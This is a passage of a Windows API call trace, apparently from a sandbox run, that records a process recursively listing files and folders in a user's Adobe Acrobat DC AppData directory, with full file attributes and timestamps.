ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Color", cAlternateFileName="")) returned 1 [0195.867] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fed94 | out: lpFindFileData=0x12fed94*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0195.867] FindClose (in: hFindFile=0x139aeb8 | out: hFindFile=0x139aeb8) returned 1 [0195.867] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff01c) returned 1 [0195.867] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff028) returned 1 [0195.868] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat", nBufferLength=0x105, lpBuffer=0x12feb38, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat", lpFilePart=0x0) returned 0x2b [0195.868] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff050) returned 1 [0195.868] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat", nBufferLength=0x105, lpBuffer=0x12feb04, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat", lpFilePart=0x0) returned 0x2b [0195.868] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\*", lpFindFileData=0x12fed78 | out: lpFindFileData=0x12fed78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715a3e1e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x715a3e1e, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139ac38 [0195.868] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fed84 | out: lpFindFileData=0x12fed84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715a3e1e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x715a3e1e, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.868] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fed84 | out: lpFindFileData=0x12fed84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe8b394a7, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe8b394a7, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DC", cAlternateFileName="")) returned 1 [0195.868] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fed84 | out: lpFindFileData=0x12fed84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe8b394a7, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe8b394a7, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DC", cAlternateFileName="")) returned 0 [0195.869] FindClose (in: hFindFile=0x139ac38 | out: hFindFile=0x139ac38) returned 1 [0195.869] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff00c) returned 1 [0195.869] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12ff018) returned 1 [0195.869] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12feff0) returned 1 [0195.869] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat", nBufferLength=0x105, lpBuffer=0x12feaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat", lpFilePart=0x0) returned 0x2b [0195.869] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\*", lpFindFileData=0x12fed18 | out: lpFindFileData=0x12fed18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715a3e1e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x715a3e1e, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139aff8 [0195.869] FindNextFileW (in: hFindFile=0x139aff8, lpFindFileData=0x12fed24 | out: lpFindFileData=0x12fed24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x715a3e1e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x715a3e1e, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.870] FindNextFileW (in: hFindFile=0x139aff8, lpFindFileData=0x12fed24 | out: lpFindFileData=0x12fed24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe8b394a7, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe8b394a7, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DC", cAlternateFileName="")) returned 1 [0195.870] FindNextFileW (in: hFindFile=0x139aff8, lpFindFileData=0x12fed24 | out: lpFindFileData=0x12fed24*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0195.870] FindClose (in: hFindFile=0x139aff8 | out: hFindFile=0x139aff8) returned 1 [0195.870] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefac) returned 1 [0195.870] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefb8) returned 1 [0195.870] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC", nBufferLength=0x105, lpBuffer=0x12feac8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC", lpFilePart=0x0) returned 0x2e [0195.870] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefe0) returned 1 [0195.870] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC", nBufferLength=0x105, lpBuffer=0x12fea94, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC", lpFilePart=0x0) returned 0x2e [0195.870] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\*", lpFindFileData=0x12fed08 | out: lpFindFileData=0x12fed08*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe8b394a7, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe8b394a7, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139ad78 [0195.871] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fed14 | out: lpFindFileData=0x12fed14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe8b394a7, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe8b394a7, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.871] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fed14 | out: lpFindFileData=0x12fed14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b8a348b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7b8a348b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b8a348b, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x40b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCMapFnt15.lst", cAlternateFileName="ADOBEC~1.LST")) returned 1 [0195.872] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fed14 | out: lpFindFileData=0x12fed14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b8a348b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7b8a348b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b8a348b, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x24c57, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeSysFnt15.lst", cAlternateFileName="ADOBES~1.LST")) returned 1 [0195.872] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fed14 | out: lpFindFileData=0x12fed14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b8a348b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7b8a348b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b8a348b, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cache", cAlternateFileName="")) returned 1 [0195.872] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fed14 | out: lpFindFileData=0x12fed14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b7e48a8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7b7e48a8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x63727ff2, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0xf6b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IconCacheRdr.dat", cAlternateFileName="ICONCA~1.DAT")) returned 1 [0195.872] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fed14 | out: lpFindFileData=0x12fed14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8995a87, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xe8995a87, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe8995a87, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x1aaac, dwReserved0=0x0, dwReserved1=0x0, cFileName="IconCacheRdr65536.dat", cAlternateFileName="ICONCA~2.DAT")) returned 1 [0195.872] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fed14 | out: lpFindFileData=0x12fed14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76642b27, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x76642b27, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xe8aecfcb, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="SharedDataEvents", cAlternateFileName="SHARED~1")) returned 1 [0195.872] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fed14 | out: lpFindFileData=0x12fed14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8a08189, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xe8a08189, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe8a08189, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ToolsSearchCacheRdr", cAlternateFileName="TOOLSS~1")) returned 1 [0195.872] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fed14 | out: lpFindFileData=0x12fed14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74f036ab, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x74f036ab, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x59d13ceb, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0xf76f, dwReserved0=0x0, dwReserved1=0x0, cFileName="UserCache.bin", cAlternateFileName="USERCA~1.BIN")) returned 1 [0195.872] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fed14 | out: lpFindFileData=0x12fed14*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0195.873] FindClose (in: hFindFile=0x139ad78 | out: hFindFile=0x139ad78) returned 1 [0195.873] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef9c) returned 1 [0195.873] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefa8) returned 1 [0195.873] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fef80) returned 1 [0195.873] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC", nBufferLength=0x105, lpBuffer=0x12fea34, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC", lpFilePart=0x0) returned 0x2e [0195.874] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\*", lpFindFileData=0x12feca8 | out: lpFindFileData=0x12feca8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe8b394a7, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe8b394a7, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139ac38 [0195.875] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fecb4 | out: lpFindFileData=0x12fecb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x715a3e1e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe8b394a7, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe8b394a7, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.875] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fecb4 | out: lpFindFileData=0x12fecb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b8a348b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7b8a348b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b8a348b, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x40b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCMapFnt15.lst", cAlternateFileName="ADOBEC~1.LST")) returned 1 [0195.875] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fecb4 | out: lpFindFileData=0x12fecb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b8a348b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7b8a348b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b8a348b, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x24c57, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeSysFnt15.lst", cAlternateFileName="ADOBES~1.LST")) returned 1 [0195.875] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fecb4 | out: lpFindFileData=0x12fecb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b8a348b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7b8a348b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b8a348b, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cache", cAlternateFileName="")) returned 1 [0195.875] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fecb4 | out: lpFindFileData=0x12fecb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b7e48a8, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7b7e48a8, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x63727ff2, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0xf6b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IconCacheRdr.dat", cAlternateFileName="ICONCA~1.DAT")) returned 1 [0195.875] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fecb4 | out: lpFindFileData=0x12fecb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8995a87, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xe8995a87, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe8995a87, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x1aaac, dwReserved0=0x0, dwReserved1=0x0, cFileName="IconCacheRdr65536.dat", cAlternateFileName="ICONCA~2.DAT")) returned 1 [0195.876] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fecb4 | out: lpFindFileData=0x12fecb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76642b27, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x76642b27, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xe8aecfcb, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="SharedDataEvents", cAlternateFileName="SHARED~1")) returned 1 [0195.876] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fecb4 | out: lpFindFileData=0x12fecb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8a08189, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xe8a08189, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe8a08189, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ToolsSearchCacheRdr", cAlternateFileName="TOOLSS~1")) returned 1 [0195.876] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fecb4 | out: lpFindFileData=0x12fecb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74f036ab, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x74f036ab, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x59d13ceb, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0xf76f, dwReserved0=0x0, dwReserved1=0x0, cFileName="UserCache.bin", cAlternateFileName="USERCA~1.BIN")) returned 1 [0195.876] FindNextFileW (in: hFindFile=0x139ac38, lpFindFileData=0x12fecb4 | out: lpFindFileData=0x12fecb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74f036ab, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x74f036ab, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x59d13ceb, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0xf76f, dwReserved0=0x0, dwReserved1=0x0, cFileName="UserCache.bin", cAlternateFileName="USERCA~1.BIN")) returned 0 [0195.876] FindClose (in: hFindFile=0x139ac38 | out: hFindFile=0x139ac38) returned 1 [0195.877] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef3c) returned 1 [0195.877] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef48) returned 1 [0195.877] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\Cache", nBufferLength=0x105, lpBuffer=0x12fea58, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\Cache", lpFilePart=0x0) returned 0x34 [0195.877] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fef70) returned 1 [0195.877] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\Cache", nBufferLength=0x105, lpBuffer=0x12fea24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\Cache", lpFilePart=0x0) returned 0x34 [0195.877] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\Cache\\*", lpFindFileData=0x12fec98 | out: lpFindFileData=0x12fec98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b8a348b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7b8a348b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b8a348b, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139af38 [0195.879] FindNextFileW (in: hFindFile=0x139af38, lpFindFileData=0x12feca4 | out: lpFindFileData=0x12feca4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7b8a348b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7b8a348b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b8a348b, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.879] FindNextFileW (in: hFindFile=0x139af38, lpFindFileData=0x12feca4 | out: lpFindFileData=0x12feca4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b8a348b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x7b8a348b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x7b8a348b, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x255e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroFnt15.lst", cAlternateFileName="ACROFN~1.LST")) returned 1 [0195.879] FindNextFileW (in: hFindFile=0x139af38, lpFindFileData=0x12feca4 | out: lpFindFileData=0x12feca4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0195.879] FindClose (in: hFindFile=0x139af38 | out: hFindFile=0x139af38) returned 1 [0195.880] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef2c) returned 1 [0195.880] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef38) returned 1 [0195.880] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr", nBufferLength=0x105, lpBuffer=0x12fea58, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr", lpFilePart=0x0) returned 0x42 [0195.880] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fef70) returned 1 [0195.880] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr", nBufferLength=0x105, lpBuffer=0x12fea24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr", lpFilePart=0x0) returned 0x42 [0195.880] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\*", lpFindFileData=0x12fec98 | out: lpFindFileData=0x12fec98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8a08189, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xe8a08189, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe8a08189, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139ad78 [0195.880] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12feca4 | out: lpFindFileData=0x12feca4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8a08189, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xe8a08189, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe8a08189, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.880] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12feca4 | out: lpFindFileData=0x12feca4*(dwFileAttributes=0x10, 